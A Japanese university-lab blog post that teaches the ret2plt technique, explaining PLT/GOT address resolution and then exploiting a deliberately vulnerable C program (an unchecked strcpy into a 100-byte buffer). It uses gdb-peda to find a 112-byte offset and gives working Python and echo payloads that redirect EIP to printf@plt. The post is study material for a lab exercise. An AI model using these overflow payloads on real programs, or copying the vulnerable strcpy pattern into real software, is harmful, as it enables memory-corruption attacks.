はじめに
これは弊研究室の某課題について考える11日目の記事です
pwnableの攻撃編の始まりです。今までに説明してきた脆弱性を基にどうやって攻撃するのかというのを紹介していく編になります
ret2plt
ret2plt(return to plt)とは脆弱性をついてEIPを奪ったとき(任意のアドレスに書き換えられる)にそのEIPのアドレスをpltのアドレスを指すことにより関数を実行させる手法である。
PLT(Procedure Linkage Table)とGOT(Global Offset Table)
ではpltとはなんだという話である。一緒にgotの話もする。2日目の記事でメモリ配置の図を示したがさらに詳細を見ていくとこうなっている
C言語ではソースコードに記述しなくても使える関数がありますよね。printf
とかfopen
とかね。これらはlibcと呼ばれるライブラリにありそれをコンパイル時にリンクしているため使用できます。それでlibcにある外部関数のアドレスを動的に求める機構がPLTとGOTになります。
さてこのアドレス解決機構を説明していきます。libcの関数であるprintf
が呼び出された場合を考えます。
#include<stdio.h>
int main(){
int a=1;
int b=2;
int c=a+b;
printf("%d\n",c);
return 0;
}
ここでmainのアセンブラを見てみます
$ objdump -d -M intel ./a.out
000000000000064a <main>:
64a: 55 push rbp
64b: 48 89 e5 mov rbp,rsp
64e: 48 83 ec 10 sub rsp,0x10
652: c7 45 f4 01 00 00 00 mov DWORD PTR [rbp-0xc],0x1
659: c7 45 f8 02 00 00 00 mov DWORD PTR [rbp-0x8],0x2
660: 8b 55 f4 mov edx,DWORD PTR [rbp-0xc]
663: 8b 45 f8 mov eax,DWORD PTR [rbp-0x8]
666: 01 d0 add eax,edx
668: 89 45 fc mov DWORD PTR [rbp-0x4],eax
66b: 8b 45 fc mov eax,DWORD PTR [rbp-0x4]
66e: 89 c6 mov esi,eax
670: 48 8d 3d 9d 00 00 00 lea rdi,[rip+0x9d] # 714 <_IO_stdin_used+0x4>
677: b8 00 00 00 00 mov eax,0x0
67c: e8 af fe ff ff call 530 <printf@plt>
681: b8 00 00 00 00 mov eax,0x0
686: c9 leave
687: c3 ret
688: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
68f: 00
printf
を呼び出す部分で<printf@plt>
となっています。ここでpltセグメントのprintfを呼び出しています。pltセクションには実行ファイルで使われる関数がエントリされています。
$ objdump -d -M intel -j .plt ./a.out
Disassembly of section .plt:
0000000000000520 <.plt>:
520: ff 35 e2 0a 20 00 push QWORD PTR [rip+0x200ae2] # 201008 <_GLOBAL_OFFSET_TABLE_+0x8>
526: ff 25 e4 0a 20 00 jmp QWORD PTR [rip+0x200ae4] # 201010 <_GLOBAL_OFFSET_TABLE_+0x10>
52c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
0000000000000530 <printf@plt>:
530: ff 25 e2 0a 20 00 jmp QWORD PTR [rip+0x200ae2] # 201018 <printf@GLIBC_2.2.5>
536: 68 00 00 00 00 push 0x0
53b: e9 e0 ff ff ff jmp 520 <.plt>
call 530
となっているように530
にprintf@plt
が登録されておりそれを呼んでいます。でアセンブラを追うとjmp 201010
へ飛んでいます。ここのripは.got.pltにアドレスを指しており、.got.plt内のprintf
二割与えられているアドレスにジャンプします。
.got.pltセグメントで共有ライブラリlibcのprintf関数を呼び出します。
ret2pltをやってみる
ではret2pltを実際にやってみる。EIPを奪えていれば実行可能であるので今回用意する脆弱性はスタックバッファオーバーフローとする。
サンプルプログラム
#include<stdio.h>
#include<string.h>
int main(int argc, char *argv[]){
setbuf(stdin,NULL);
setbuf(stdout,NULL);
char buf[100] = {};
char str[140];
printf("Hi, I'm TsugumiYagi!\n");
printf("Please tell me your name: ");
fgets(str,140,stdin);
strcpy(buf,str);
printf("Hi ");
puts(buf);
return 0;
}
strcpyのところに脆弱性があります。ここに100文字以上をいれると壊れますね。
5$ gdb -q ./a.out
Reading symbols from ./a.out...(no debugging symbols found)...done.
gdb-peda$ set disassembly-flavor intel
gdb-peda$ pattern_create 120
''AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
gdb-peda$ r
Starting program: /home/tsugumiyagi/Documents/pwn/pwn5/a.out
Hi, I'm TsugumiYagi!
Please tell me your name: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiA A8AANAA
Hi AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41684141 ('AAhA')
ECX: 0xb7fc2b07 --> 0xfc38980a
EDX: 0xb7fc3898 --> 0x0
ESI: 0x0
EDI: 0x41413741 ('A7AA')
EBP: 0x6941414d ('MAAi')
ESP: 0xbffff680 --> 0x414e41 ('ANA')
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xbffff680 --> 0x414e41 ('ANA')
0004| 0xbffff684 --> 0xbffff714 --> 0xbffff834 ("/home/tsugumiyagi/Documents/pwn/pwn5/a.out")
0008| 0xbffff688 --> 0xbffff71c --> 0xbffff85f ("XDG_SESSION_ID=6")
0012| 0xbffff68c --> 0xb7fece3a (<call_init+26>: add ebx,0x121c6)
0016| 0xbffff690 --> 0x1
0020| 0xbffff694 --> 0xbffff714 --> 0xbffff834 ("/home/tsugumiyagi/Documents/pwn/pwn5/a.out")
0024| 0xbffff698 --> 0xbffff6b4 --> 0xbd2c1514
0028| 0xbffff69c --> 0x804a024 --> 0xb7e2ea00 (<__libc_start_main>: push ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()
gdb-peda$ A
Ambiguous command "A": .
gdb-peda$ patto AA8A
AA8A found at offset: 112
gdb-peda$ disas main
Dump of assembler code for function main:
0x0804852d <+0>: push ebp
pattern_createで適当に文字列を作成し、patto 文字列
でその文字列のオフセットを調べられます。
EIPに入っているのがAA8A
なのでpatto AA8A
で調べられます。すると112文字適当に入力した後の文字がEIPになることがわかります。ということでmain関数のアドレスでも突っ込みましょう。
tsugumiyagi@yuzu:~/Documents/pwn/pwn5$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x2d\x85\x04\x08' | ./a.out
Hi, I'm TsugumiYagi!
Please tell me your name: Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-�
Hi, I'm TsugumiYagi!
Please tell me your name: Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-�
Segmentation fault (コアダンプ)
EIPがmainに変わったのでmain関数が2回実行されています。ではこれを踏まえてpltの呼び出しです。
$ objdump -d -M intel -j .plt ./a.out
セクション .plt の逆アセンブル:
080483b0 <setbuf@plt-0x10>:
80483b0: ff 35 04 a0 04 08 push DWORD PTR ds:0x804a004
80483b6: ff 25 08 a0 04 08 jmp DWORD PTR ds:0x804a008
80483bc: 00 00 add BYTE PTR [eax],al
...
080483c0 <setbuf@plt>:
80483c0: ff 25 0c a0 04 08 jmp DWORD PTR ds:0x804a00c
80483c6: 68 00 00 00 00 push 0x0
80483cb: e9 e0 ff ff ff jmp 80483b0 <_init+0x30>
080483d0 <printf@plt>:
80483d0: ff 25 10 a0 04 08 jmp DWORD PTR ds:0x804a010
80483d6: 68 08 00 00 00 push 0x8
80483db: e9 d0 ff ff ff jmp 80483b0 <_init+0x30>
080483e0 <fgets@plt>:
80483e0: ff 25 14 a0 04 08 jmp DWORD PTR ds:0x804a014
80483e6: 68 10 00 00 00 push 0x10
80483eb: e9 c0 ff ff ff jmp 80483b0 <_init+0x30>
080483f0 <strcpy@plt>:
80483f0: ff 25 18 a0 04 08 jmp DWORD PTR ds:0x804a018
80483f6: 68 18 00 00 00 push 0x18
80483fb: e9 b0 ff ff ff jmp 80483b0 <_init+0x30>
08048400 <puts@plt>:
8048400: ff 25 1c a0 04 08 jmp DWORD PTR ds:0x804a01c
8048406: 68 20 00 00 00 push 0x20
804840b: e9 a0 ff ff ff jmp 80483b0 <_init+0x30>
08048410 <__gmon_start__@plt>:
8048410: ff 25 20 a0 04 08 jmp DWORD PTR ds:0x804a020
8048416: 68 28 00 00 00 push 0x28
804841b: e9 90 ff ff ff jmp 80483b0 <_init+0x30>
08048420 <__libc_start_main@plt>:
8048420: ff 25 24 a0 04 08 jmp DWORD PTR ds:0x804a024
8048426: 68 30 00 00 00 push 0x30
804842b: e9 80 ff ff ff jmp 80483b0 <_init+0x30>
ここではputs関数を呼び出すことにします。さてもう一度関数の実行される時の図を見ましょう
puts関数の引数はスタックに積めばよさそうですね。リターンアドレスは詰んであげなきゃいけないので適当に載せましょう。ただここで積むのはアドレスです。のでいい感じのアドレスをここで入手しておきます。
$ gdb -q ./a.out
Reading symbols from ./a.out...(no debugging symbols found)...done.
gdb-peda$ disas main
Dump of assembler code for function main:
0x0804852d <+0>: push ebp
0x0804852e <+1>: mov ebp,esp
0x08048530 <+3>: push edi
0x08048531 <+4>: push ebx
0x08048532 <+5>: and esp,0xfffffff0
0x08048535 <+8>: sub esp,0xf0
0x0804853b <+14>: mov eax,ds:0x804a040
0x08048540 <+19>: mov DWORD PTR [esp+0x4],0x0
0x08048548 <+27>: mov DWORD PTR [esp],eax
0x0804854b <+30>: call 0x80483c0 <setbuf@plt>
0x08048550 <+35>: mov eax,ds:0x804a060
0x08048555 <+40>: mov DWORD PTR [esp+0x4],0x0
0x0804855d <+48>: mov DWORD PTR [esp],eax
0x08048560 <+51>: call 0x80483c0 <setbuf@plt>
0x08048565 <+56>: lea ebx,[esp+0x8c]
0x0804856c <+63>: mov eax,0x0
0x08048571 <+68>: mov edx,0x19
0x08048576 <+73>: mov edi,ebx
0x08048578 <+75>: mov ecx,edx
0x0804857a <+77>: rep stos DWORD PTR es:[edi],eax
0x0804857c <+79>: mov DWORD PTR [esp],0x8048680
0x08048583 <+86>: call 0x8048400 <puts@plt>
0x08048588 <+91>: mov DWORD PTR [esp],0x8048695
0x0804858f <+98>: call 0x80483d0 <printf@plt>
0x08048594 <+103>: mov eax,ds:0x804a040
0x08048599 <+108>: mov DWORD PTR [esp+0x8],eax
0x0804859d <+112>: mov DWORD PTR [esp+0x4],0x78
0x080485a5 <+120>: lea eax,[esp+0x14]
0x080485a9 <+124>: mov DWORD PTR [esp],eax
0x080485ac <+127>: call 0x80483e0 <fgets@plt>
0x080485b1 <+132>: lea eax,[esp+0x14]
0x080485b5 <+136>: mov DWORD PTR [esp+0x4],eax
0x080485b9 <+140>: lea eax,[esp+0x8c]
0x080485c0 <+147>: mov DWORD PTR [esp],eax
0x080485c3 <+150>: call 0x80483f0 <strcpy@plt>
0x080485c8 <+155>: mov DWORD PTR [esp],0x80486b0
0x080485cf <+162>: call 0x80483d0 <printf@plt>
0x080485d4 <+167>: lea eax,[esp+0x8c]
0x080485db <+174>: mov DWORD PTR [esp],eax
0x080485de <+177>: call 0x8048400 <puts@plt>
0x080485e3 <+182>: mov eax,0x0
0x080485e8 <+187>: lea esp,[ebp-0x8]
0x080485eb <+190>: pop ebx
0x080485ec <+191>: pop edi
0x080485ed <+192>: pop ebp
0x080485ee <+193>: ret
End of assembler dump.
gdb-peda$ x/s 0x8048680
0x8048680: "Hi, I'm TsugumiYagi!"
いい感じのアドレスを見つけたのでいけそうです。さてexploitです。
$ python -c 'print "A"*112+"\xd0\x83\x04\x08" + "BBBB" + "\x80\x86\x04\x08"' | ./a.out
Hi, I'm TsugumiYagi!
Please tell me your name: Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAЃBBBB��
Hi, I'm TsugumiYagi!Segmentation fault (コアダンプ)
はい望みどおりの出力が得られましたね。この時のスタックフレームですが下のようになっています。
これをprintfを基準に考えると下のように見ることができます。なので実行できるようになるわけですね。
おわりに
書いてて量がやばかったのでret2libcはまた明日。